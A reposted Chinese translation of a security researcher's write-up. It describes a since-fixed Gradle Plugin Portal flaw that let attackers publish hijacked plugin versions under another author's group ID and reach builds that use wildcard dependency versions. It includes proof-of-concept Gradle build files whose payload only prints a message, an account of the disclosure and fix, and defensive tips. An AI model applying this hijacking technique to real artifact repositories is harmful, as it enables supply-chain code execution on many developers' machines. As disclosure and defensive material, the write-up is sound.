利用Gradle Plugin通配版本进行远程代码执行

栏目: 编程工具 · 发布时间: 5年前

内容简介:该漏洞的利用允许Gradle Plugin Portal上的任何插件被攻击者劫持。此插件的组ID是

利用Gradle Plugin通配版本进行远程代码执行

前言

该漏洞的利用允许Gradle Plugin Portal上的任何插件被攻击者劫持。

摘要

buildscript {
    repositories {
        gradlePluginPortal()
    }
    dependencies {
        /*
         * In practice, this attack could have been leveraged against any plugin on 
         * the Gradle plugin portal.
         * I created my own plugin for testing purposes.
         */
        classpath("gradle.plugin.org.jlleitschuh.testing.security:gradle-testing:+")
    }
}
apply(plugin = "org.jlleitschuh.testing.security-plugin")

此插件的组ID是 org.jlleitschuh.testing.security (开头的 gradle.plugin 是由Gradle添加的)。

由于Gradle Plugin Portal中存在漏洞,攻击者可以将其插件的组ID设置成与网站上已有的任何插件的组ID相同,并在他们不应拥有的组下发布恶意插件。攻击者无法覆盖现有版本的artifacts,但他们可以发布更新版本。当用户使用通配版本作为依赖项时,那么当下次用户运行artifacts时,Gradle将下载最新版本的插件(现在是恶意的),然后将对插入用户进行溢出攻击。

漏洞发掘

由于spotbugs团队还没有为他们的插件发布一个补丁来支持Gradle 4.10(漏洞版本),因此我发现了这个问题。为了使用4.10,我更新了我的内部版本,但这个问题阻止了我的更新。由于我已经拥有其他插件的Gradle Plugin Portal帐户,因此我决定在不同的artifacts下发布spotbug的指定版本。

我fork了其repository,并对 build.gradle 进行了足够数量的更改,这样我就可以成功地运行 publishPlugins 了。

发布的结果可以在这里找到( https://plugins.gradle.org/plugin/com.github.spotbugs.temporary ) ,此artifacts已被Gradle团队成员转移了,以防止它与将来更新版本的spotbug发生冲突。

由Gradle Plugin Portal提供的,关于如何应用此新发布的插件的示例代码段如下所示:

buildscript {
  repositories {
    maven {
      url "https://plugins.gradle.org/m2/"
    }
  }
  dependencies {
    classpath "gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.4"
  }
}

apply plugin: "com.github.spotbugs.temporary"

引起我注意的是,spotbugs插件竟与我自己的完全相同。

官方版本: gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.2
我的版本: gradle.plugin.com.github.spotbugs:spotbugs-gradle-plugin:1.6.4

刚意识到这一点,我就立刻向Gradle社区Slack频道的Gradle Plugin Portal主管Eric Wendelin提交了这个漏洞。然而,当时我还没有完全明白其中的意义。

POC

这个时候已经是凌晨1点了,但我怎么能现在停下呢?我现在必须要做点什么!

以下测试使用的是由我注册的两个完全不同的Gradle Plugin Portal帐户完成的。

我创建了以下插件来实现POC,可以将这个插件看作是任意一个作者在互联网上发布的一个插件,这个插件可为Gradle构建添加一些方便的安全功能。

plugins {
    java
    id("com.gradle.plugin-publish") version "0.9.10"
    id("java-gradle-plugin")
}

group = "org.jlleitschuh.testing.security"
version = "0.4.0"

dependencies {
    compileOnly(gradleApi())
}

gradlePlugin {
    (plugins) {
        "securityPlugin" {
            id = "org.jlleitschuh.testing.security-plugin"
            implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
        }
    }
}

pluginBundle {
    description = "Useless security testing."

    vcsUrl = "https://github.com/JLLeitschuh/gradle-testing"
    website = "https://github.com/JLLeitschuh/gradle-testing"
    tags = listOf("dont-use")

    (plugins) {
        "securityPlugin" {
            id = "org.jlleitschuh.testing.security-plugin"
            displayName = "Security testing plugin"
        }
    }
}
package org.jlleitschuh.testing.security;

import org.gradle.api.Plugin;
import org.gradle.api.Project;

public class SecurityPlugin implements Plugin<Project> {
    @Override
    public void apply(final Project target) {
        target.getLogger().lifecycle("A security plugin");
    }
}

用户认为这个插件非常有用,但他们不希望每次都要不停地更新版本,所以他们想使用这样的通配版本。

buildscript {
    repositories {
        gradlePluginPortal()
    }
    dependencies {
        /*
         * In practice, this attack could have been leveraged against any plugin on 
         * the Gradle plugin portal.
         * I created my own plugin for testing purposes.
         */
        classpath("gradle.plugin.org.jlleitschuh.testing.security:gradle-testing:+")
    }
}
apply(plugin = "org.jlleitschuh.testing.security-plugin")

他们将从Gradle Plugin portal中获取的版本是0.4.0版本。如果他们要运行 ./gradlew ,他们会在控制台中看到以下内容。

./gradlew
> Configure project :
A security plugin
...

现在,攻击者出现了,并且当他看到您在您的artifacts中使用了通配版本,或许他们会想试图劫持一些插件并看看将发生什么。利用这一漏洞,他们可以将自己的代码添加到插件并且发布,以下是攻击者会将代码更改的内容。

plugins {
    java
    id("com.gradle.plugin-publish") version "0.9.10"
    id("java-gradle-plugin")
}

group = "org.jlleitschuh.testing.security"
version = "0.4.1"

dependencies {
    compileOnly(gradleApi())
}

gradlePlugin {
    (plugins) {
        "securityPlugin" {
            /*
             * This is the plugin that the user is already using.
             */
            id = "org.jlleitschuh.testing.security-plugin"
            implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
        }

        "securityPluginTemp" {
            /*
             * This is just an unused plugin here to make the com.gradle.plugin-publish
             * and java-gradle-plugin happy as well as the Gradle Plugin Portal when
             * we go to upload our malicious plugin.
             */
            id = "org.jlleitschuh.testing.security-plugin.tmp"
            implementationClass = "org.jlleitschuh.testing.security.SecurityPlugin"
        }
    }
}

pluginBundle {
    description = "Useless security testing."

    vcsUrl = "https://github.com/JLLeitschuh/gradle-testing"
    website = "https://github.com/JLLeitschuh/gradle-testing"
    tags = listOf("dont-use")

    (plugins) {
        "securityPlugin" {
            /*
             * Note how I'm declaring two plugins above but only publishing one 
             * plugin here.
             * This is because the Gradle Plugin Portal used to only validate that
             * the id of the plugin portal was not taken, but not the group.
             */
            id = "org.jlleitschuh.testing.security-plugin.tmp"
            displayName = "Security testing plugin"
        }
    }
}
package org.jlleitschuh.testing.security;

import org.gradle.api.Plugin;
import org.gradle.api.Project;

public class SecurityPlugin implements Plugin<Project> {
    @Override
    public void apply(final Project target) {
        target.getLogger().lifecycle("A security plugin. I'm malicious!");
    }
}

攻击者将他们的插件版本发布到Gradle插件网站。现在他们所要做的就是等待。

那么下一次我们的用户出现并运行 ./gradlew 时,他们就会收到这个。

./gradlew
Download https://plugins.gradle.org/m2/gradle/plugin/org/jlleitschuh/testing/security/gradle-testing/0.4.1/gradle-testing-0.4.1.pom
> Configure project :
A security plugin. I'm malicious!
...

用户成功被攻击者pwn了。

Gradle团队的回应

Gradle团队很快回复了我提交的漏洞。他们还告诉我,谷歌团队在我发现它的一周之前,就已经意识到这个漏洞,但是,Google报告并没有提到,并且Google提供的版本只要求用户更改应用于以下内容的插件。

apply(plugin = "org.jlleitschuh.testing.security-plugin.tmp")

修复

尽管未提及此漏洞,但此漏洞的修复程序作为Gradle Plugin Portal审批策略更新的一部分发送到了Gradle Plugin Portal。

当被问及是否进行了审计以确保此安全漏洞不会被恶意利用时,Eric Wendelin回答“是的,同时我们也并没有发现恶意行为存在的证据”。

关键点

像Gradle Plugin Portal,Maven Central Repository以及JFrog Artifactory这样的artifacts服务器都是攻击者的理想目标。如果攻击者可以劫持artifacts,他们可以在全球数百甚至数千台机器上执行任意代码。

如何保护自己

虽然这些提示不能保护您免受此类攻击,但如果不执行这些操作,就可能会使您或您的账户易受此类攻击。

1.始终通过HTTPS而不是通过HTTP来下载您的artifacts。

2.不要用通配版本来构建依赖项。

3.始终使用受信任的artifacts服务器,如Maven Central和Gradle Plugin Portal等。

4.使用进行过安全审计的公司的artifacts镜像。

原文链接: https://medium.com/bugbountywriteup/leveraging-gradle-plugin-wildcard-versions-for-remote-code-execution-24e15112c432


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Web Designer's Idea Book, Vol. 2

The Web Designer's Idea Book, Vol. 2

Patrick McNeil / How / 2010-9-19 / USD 30.00

Web Design Inspiration at a Glance Volume 2 of The Web Designer's Idea Book includes more than 650 new websites arranged thematically, so you can easily find inspiration for your work. Auth......一起来看看 《The Web Designer's Idea Book, Vol. 2》 这本书的介绍吧!

JS 压缩/解压工具
JS 压缩/解压工具

在线压缩/解压 JS 代码

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具

HEX HSV 转换工具
HEX HSV 转换工具

HEX HSV 互换工具